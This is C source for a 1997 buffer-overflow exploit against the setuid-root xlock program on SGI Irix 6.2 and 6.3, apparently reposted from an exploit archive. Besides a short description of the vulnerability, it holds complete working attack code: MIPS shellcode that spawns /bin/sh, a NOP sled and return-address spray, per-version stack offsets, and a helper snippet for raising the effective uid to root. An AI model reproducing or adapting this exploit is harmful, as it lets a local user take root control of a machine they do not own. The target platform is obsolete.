/*
 
   /usr/bin/X11/xlock exploit by DCRH 25/5/97
 
   Tested on: R5000 O2 (Irix 6.3)
            R8000 Power Challenge (Irix64 6.2)
 
   For Irix 6.2, change OFFSET to 0x160, or pass '20' as a parameter
 
   Exploit doesn't work on Irix 5.x due to stack position
 
   compile as: cc -n32 xlock.c
 
 The xlock(1)  program is  used to  lock the  local X  display of a
 system until a correct password  is entered at the keyboard.   The
 program is setuid root and as part of the process of locking an  X
 display  accepts  user  arguments  to  establish  specific   xlock
 operation.
 
 It  has  been  determined  that  an  appropriately  crafted set of
 arguments could be input  to the xlock program  allowing execution
 of arbitrary user commands with root privileges.   This  resulting
 buffer overflow condition  is considered a  security vulnerability
 in  the  xlock  program.   This  vulnerability  can be utilized to
 execute commands with root privileges.
 
 David   Hedley   found   following.    Here's   an   exploit   for
 /usr/bin/X11/xlock.   It's  a  similar  exploit  to  the  one  for
 /usr/sbin/eject.   The  exploit  is  also  quite  sensitive to its
 location and  may need  tweaking to  work on  platforms other than
 those on which has been tested.  Exploit tested on:
 
  O2 R5000 (Irix 6.3)
  PChallenge R8000 (Irix64 6.2)
 
 This exploit won't work on 5.x.   The exploit as it is here  works
 on Irix 6.3. To get it  to work on 6.2, either change  OFFSET from
 0x118 to 0x160, or pass the program '20' as a parameter.
 
 Note that the shell spawned as a result of this exploit has uid=0,
 euid=youruserid. To make  your euid=0 you'll  need a program  like
 the following:
 
 void main(void)
 {
    setuid(0,0);
    execl("/bin/sh", "sh", 0);
 }
 
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>

#define NUM_ADDRESSES   800
#define BUF_LENGTH      80
#define EXTRA           190
#define OFFSET          0x118    /* 0x160 for Irix 6.2 */
#define GP_OFFSET       32472
#define IRIX_NOP        0x03e0f825    /* move $ra,$ra */

#define u_long unsigned


u_long get_sp_code[] = {
  0x03a01025,         /* move $v0,$sp   [2000]*/
  0x03e00008,         /* jr $ra         [2000]*/
  0x00000000,         /* nop            [2000]*/
};

u_long irix_shellcode[] = {
  0x24041234,         /* li $4,0x1234   [2000]*/
  0x2084edcc,         /* sub $4,0x1234  [2000]*/
  0x0491fffe,         /* bgezal $4,pc-4 [2000]*/
  0x03bd302a,         /* sgt $6,$sp,$sp [2000]*/
  0x23e4012c,         /* addi $4,$31,264+36   */
  0xa086feff,         /* sb $6,-264+7($4)     */
  0x2084fef8,         /* sub $4,264     [2000]*/
  0x20850110,         /* addi $5,$4,264+8     */
  0xaca4fef8,         /* sw $4,-264($5) [2000]*/
  0xaca6fefc,         /* sw $4,-260($5) [2000]*/
  0x20a5fef8,         /* sub $5, 264    [2000]*/
  0x240203f3,         /* li $v0,1011    [2000]*/
  0x03ffffcc,         /* syscall 0xfffff[2000]*/
  0x2f62696e,         /* "/bin"         [2000]*/
  0x2f7368ff,         /* "/sh"          [2000]*/
};

char buf[NUM_ADDRESSES+BUF_LENGTH + EXTRA + 8];

void main(int argc, char **argv)
{
  char *env[] = {NULL};
  u_long targ_addr, stack, tmp;
  u_long *long_p;
  int i, code_length = strlen((char *)irix_shellcode)+1;
  u_long (*get_sp)(void) = (u_long (*)(void))get_sp_code;

  stack = get_sp();

  if (stack & 0x80000000)
    {
      printf("Recompile with the '-32' option\n");
      exit(1);
    }

  long_p =(u_long *)  buf;
  targ_addr = stack + OFFSET;

  if (argc > 1)
    targ_addr += atoi(argv[1]) * 4;

  if (targ_addr + GP_OFFSET > 0x80000000)
    {
      printf("Sorry - this exploit for Irix 6.x only\n");
      exit(1);
    }

  tmp = (targ_addr + NUM_ADDRESSES + (BUF_LENGTH-code_length)/2) & ~3;

  while ((tmp & 0xff000000) == 0 ||
         (tmp & 0x00ff0000) == 0 ||
         (tmp & 0x0000ff00) == 0 ||
         (tmp & 0x000000ff) == 0)
    tmp += 4;

  for (i = 0; i < NUM_ADDRESSES/sizeof(u_long); i++)
    *long_p++ = tmp;

  for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
    *long_p++ = IRIX_NOP;

  for (i = 0; i < code_length/sizeof(u_long); i++)
    *long_p++ = irix_shellcode[i];

  tmp = (targ_addr + GP_OFFSET + 32/* + NUM_ADDRESSES/2 */) & ~3;

  for (i = 0; i < EXTRA / sizeof(u_long); i++)
    *long_p++ = (tmp << 16) | (tmp >> 16);

  *long_p = 0;

  printf("stack = 0x%x, targ_addr = 0x%x\n", stack, targ_addr);

  execle("/usr/bin/X11/xlock", "xlock", "-name", buf, 0, env);
  perror("execl failed");
}
/*                    www.hack.co.za              [2000]*/